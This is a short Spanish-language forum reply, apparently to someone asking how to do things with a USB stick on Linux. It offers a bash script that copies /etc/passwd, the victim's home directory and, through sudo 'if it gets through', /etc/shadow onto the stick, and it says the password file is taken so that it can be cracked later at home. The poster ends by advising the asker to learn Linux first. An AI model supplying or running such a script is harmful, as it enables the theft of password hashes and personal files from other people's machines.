En Linux los USB no se ejecutan cuando los metes, tendrías que hacerlo tú a mano, así que para eso te programas un script sencillito en plan

#!/bin/bash
cp /etc/passwd .
cp -R ~/ .
sudo cp /etc/shadow . (si cuela)

Hola. Te comento, en linux lo equivalente a los bat sería archivos de script sh.

Ese script lo que haría sería intentar copiar el archivo de contraseñas (para que luego lo descifres en tu casa, el archivo de nombres de usuario y grupos, y la carpeta personal donde se guardan los documentos y todo lo demás. Como te veo tan perdido creo que deberías echar un vistazo a tutoriales de linux y trastear un poco con él andes de pensar en "hacer cosillas".

Nos vemos